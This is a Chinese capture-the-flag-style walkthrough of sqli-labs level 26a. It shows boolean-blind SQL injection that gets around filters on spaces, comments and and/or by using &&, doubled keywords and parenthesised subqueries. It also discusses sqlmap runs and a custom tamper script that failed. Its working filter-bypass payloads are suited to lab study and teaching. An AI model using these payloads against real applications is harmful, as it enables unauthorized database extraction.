文章总结: 本文解析了sqli-labs第26a关通关技巧,该关卡严格过滤空格、注释及逻辑关键字。作者演示了使用&&替代逻辑符及重复关键字绕过过滤,采用手工布尔盲注获取数据,并用min函数解决无空格环境下的limit限制。文章分析了sqlmap因全空白字符过滤而失效的原因,指出在严格过滤环境下手工注入不可替代,建议测试人员深入理解原理,避免过度依赖自动化工具。 综合评分: 91 文章分类: 渗透测试,WEB安全,实战经验
当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析
原创
武文学网安 武文学网安
武文学网安
2026年1月20日 01:40 中国香港
大家好,我是武文。今天继续挑战 sqli-labs 第 26a 关。
在第 26 关中,我们已经意识到一个事实:
👉 SQL 注入并不依赖空格 👉 过滤空格 ≠ 安全
而当我进入 第 26a 关 时,我发现事情又往前走了一步。
第26a其实和26关是类似的,是在26关基础上减少了注入方式。我们先来看他的源码是怎么过滤关键字的:https://github.com/Audi-1/sqli-labs/blob/master/Less-26a/index.php
其过滤方式和26关一致。
一、先来安排一套常规检查
?id=1 页面为真?id=1' 页面为假?id=1' %26%26 '1'='1 页面为真?id=1' %26%26 '1'='2 页面为假
%26是&符号的编码,为了能够让数据库接受,&&替代被过滤掉的and,或者用||替代or也可以。
当然我们也可以用anandd和oorr来绕过and与or的过滤。需要注意的是,这种方式并非通用 SQL 特性,而是利用了当前关卡中对关键字过滤实现不严谨的问题。
可以得出结论:
1.页面不再有语法等错误提示,仅成功登录和失败两种页面不同状态
2.这点可以确定当前闭合方式为单引号闭合。
测试是否存在XPATH显错注入:
?id=1'%26%26updatexml(1,concat(0x7e,database(),0x7e),1)%26%26'1'='1
页面无XPATH显错信息。
26a 的页面返回虽然“内容很少”,但状态是稳定可区分的,可以得出当前页面仅可通过盲注来进行注入。
二、手动盲注
前面学习过,盲注分为布尔盲注和时间盲注。各位道友可以在这篇查阅SQL注入实战——时间盲注 今天再来进行一下回顾练习。
因页面有明显登录成功和失败的区别,直接来进行布尔盲注:
判断数据库类型和基本信息
因为页面只有两种状态,正确的为成功登录界面展示用户和用户名,错误的状态为空,我们只能够通过返回结果是否正确来验证我们的假设判断是否为真
-- 判断数据库长度?id=1'%26%26length(database())>5%26%26'1'='1 显示(真)?id=1'%26%26length(database())>5%26%26'1'='1 空白(假)-- 逐步缩小:最终确定 database() 长度为 8-- 逐字符猜解数据库名?id=1'%26%26ascii(substr(database(),1,1))>100%26%26'1'='1显示(真)?id=1'%26%26ascii(substr(database(),1,1))>110%26%26'1'='1空白(假)-- 最终确定第一个字符是 's'(ASCII 115)
判断数据库长度:
?id=1'%26%26length(database())>5%26%26'1'='1 显示(真)?id=1'%26%26length(database())>10%26%26'1'='1 空白(假)?id=1'%26%26length(database())=8%26%26'1'='1 真
可以通过逐步测试的方式判断当前数据库长度。
逐字符猜解数据库名:
知道了数据库长度,接下来就需要来猜测数据库的名字。再次展示一下网上找的ASCII码表:
?id=1'%26%26ascii(substr(database(),1,1))>100%26%26'1'='1显示(真)?id=1'%26%26ascii(substr(database(),1,1))>115%26%26'1'='1空白(假)?id=1'%26%26ascii(substr(database(),1,1))=115%26%26'1'='1 显示(真)-- 最终确定第一个字符是 's'(ASCII 115)?id=1'%26%26(ascii(substr(database(),2,1))=101)%26%26'1'='1 -- 字符'e'?id=1'%26%26(ascii(substr(database(),3,1))=99)%26%26'1'='1 -- 字符'c'-- ... 依次获取剩余字符
通过测试可以确定当前数据库名第一个字符对应ascii码表数字是115,对应字符为’s’。余下的字符手动进行猜测,仅需修改substr的参数来控制要猜测的字符。
这里手动的话需要逐字去测试,一般利用sqlmap进行自动化注入,但我尝试了很多办法都无法实现用sqlmap成功注入。看了一些其他的博主视频,基本也都是手动。后面继续手动顺便加深一下前面快遗忘的手动印象。
获取表信息
-- 获取表数量(使用&&代替AND)?id=1'%26%26((select(count(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))=4)%26%26'1'='1
这里有个点需要注意,因为这一关屏蔽了空格,我在尝试用limit进行筛选时老出错,无法实现合理的查询,哪怕用括号替代空格也不行。
我在mysql中进行了测试:
像下面这样的语句,看似合理,却无法在mysql中正确查询。
-- 获取第一个表名的长度?id=1'%26%26(length((select(table_name)from(infoorrmation_schema.tables)where(table_schema=database())limit(0,1)))=6)%26%26'1'='1
-- 获取第一个表名的字符?id=1'%26%26(ascii(substr((select(table_name)from(infoorrmation_schema.tables)where(table_schema=database())limit(0,1)),1,1))=101)%26%26'1'='1
要想挨个获取表明则需要另寻他法。于是想到了利用max或者min函数来查询一个表名
select(min(table_name))from(information_schema.tables)where(table_schema=database());
可以在后台查看语句的查询效果:
于是我们要获取第一个表名具体信息,也需要逐字符尝试,就变为了:
这里需要注意information需要写称infoorrmation,这是因为过滤逻辑是基于字符串匹配,而不是 SQL 解析层面,只要绕过关键字匹配,数据库仍能正确识别。
获取第一个表名长度(等于6)这里可以自行尝试用比较符号来判断范围?id=1'%26%26length((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database())))=6%26%26'1'='1
获取第一个字符"e"?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1))=101%26%26'1'='1
获取第二个字符"m" ?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),2,1))=109%26%26'1'='1 ...以此类推可以获取一个表全部名字emalis
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
武文学网安已关注
分享视频
,时长00:36
0/0
00:00/00:36
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:36
00:36
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析
观看更多
转载
,
当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析
武文学网安已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
若要猜下一个表名,则可以用:
先判断第二个表长度(等于8)?id=1'%26%26length((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database()%26%26table_name>"emails")))=8%26%26'1'='1 获取第一个字符"r" ?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database()%26%26table_name>"emails")),1,1))=114%26%26'1'='1 获取第二个字符"e" ?id=1'%26%26ascii(substr((select(min(table_name))from(infoorrmation_schema.tables)where(table_schema=database()%26%26table_name>"emails")),2,1))=101%26%26'1'='1 ...以此类推可以获取二个表全部名字referers
以此类推即可获取全部表格的信息。
三、自动化工具挑战:sqlmap的局限性
这在渗透测试中,自动化工具如sqlmap极大地提高了效率,但面对特殊过滤机制时,它们也可能显得力不从心。在第26a关中,我们尝试使用sqlmap进行自动化注入,却遇到了意想不到的挑战。
3.1 sqlmap的常规测试
首先,我们使用sqlmap的基本命令进行测试:
python sqlmap.py -u "http://192.168.1.9:8080/Less-26a/?id=1" -p id --level=5 --risk=3 --batch
sqlmap开始了漫长的检测过程,测试了数百种payload变体:
-
AND/OR布尔盲注
-
报错注入
-
联合查询注入
-
时间盲注
-
堆叠查询
然而,经过数分钟的检测后,sqlmap给出了令人失望的结果。
3.2 深入分析失败原因
sqlmap为何在第26a关失效?我深入分析了几个关键因素:
3.2.1 过滤规则的严格性
第26a关的过滤规则极为严格,不仅过滤了空格,还过滤了所有常见的注释符(--、#、/* */)以及AND、OR等逻辑运算符。这种多层次的过滤让sqlmap生成的常规payload完全失效。
3.2.2 空格过滤的特殊性
大多数WAF只过滤普通空格(%20),而第26a关使用了[\s]正则表达式,这意味着:
- 普通空格(%20)
- 制表符(%09)
- 换行符(%0a、%0d)
- 换页符(%0c)
- 垂直制表符(%0b)
所有空白字符都被一网打尽。虽然sqlmap的tamper脚本可以将空格替换为其他空白符,但目标系统对所有空白字符都进行了过滤。
3.2.3 payload结构的破坏
sqlmap生成的payload通常包含复杂的结构,如:
1' AND1=1UNIONSELECTNULL,NULL,NULL--
经过过滤后,这个payload变成了:
1'1=1UNIONSELECTNULL,NULL,NULL
这完全破坏了SQL语句的语法结构,导致注入失败。
3.3 定制tamper脚本的尝试
意识到标准payload无效后,我尝试编写专门的tamper脚本:
import redef tamper(payload, **kwargs): """ 针对Less-26a的tamper脚本 """ # 移除所有注释 payload = re.sub(r'--.*$', '', payload) payload = payload.replace("#", "") payload = payload.replace("/*", "").replace("*/", "")
# 替换逻辑运算符 payload = re.sub(r'\bAND\b', '%26%26', payload, flags=re.IGNORECASE) payload = re.sub(r'\bOR\b', '||', payload, flags=re.IGNORECASE)
# 替换空格为括号(尝试绕过) # 但这是不可能的,因为括号不能完全替代空格
return payload
>python sqlmap.py -u "http://192.168.1.9:8080/Less-26a/?id=1" -p id --tamper=less26a --dbms=mysql --level=5 --risk=3 --batch
利用手工写的tamper依然失败,也可能是自己写的存在问题。
3.4 sqlmap的检测机制局限
sqlmap的检测机制依赖于:
- 发送特定的payload
- 分析响应差异
- 推断数据库行为
但在第26a关:
- payload被严重篡改,失去原有语义
- 响应差异微小,难以识别
- 数据库可能因为语法错误而完全拒绝查询
3.5 最终的技术结论
经过多次尝试,我得出以下结论:
- 完全自动化不可行:由于
LIMIT子句的语法限制,完全无空白的自动化注入在当前MySQL版本下不可行。
2.手工注入的必要性:在某些严格的过滤环境下,手工注入仍然是不可替代的技能。
3.6 对自动化工具的思考
这次经历让我重新思考自动化工具在渗透测试中的定位:
- 优势领域:标准环境、已知漏洞、模式化攻击
- 局限场景:自定义过滤、特殊语法要求、多层防护
- 发展方向:更智能的payload生成、上下文感知的绕过策略
3.7 给渗透测试者的建议
基于这次经验,我给其他渗透测试者以下建议:
- 不要过度依赖工具:自动化工具是辅助,不是替代品
- 深入理解原理:只有理解SQL注入和过滤的原理,才能有效绕过
总结
第26a关的挑战揭示了自动化工具在极端过滤环境下的局限性。虽然sqlmap等工具在大多数情况下非常有效,但在面对精心设计的过滤机制时,它们可能会失效。
这一关的教学意义深远:真正的安全专家不仅要知道如何使用工具,更要理解工具背后的原理,并在工具失效时能够手动解决问题。
这次失败不是终点,而是深入学习的起点。它提醒我们,在安全领域,持续学习和适应新挑战的能力比掌握任何单一工具都更加重要。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安 武文学网安《当空格、注释、关键字全失效:sqli-labs 第 26a 关通解析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论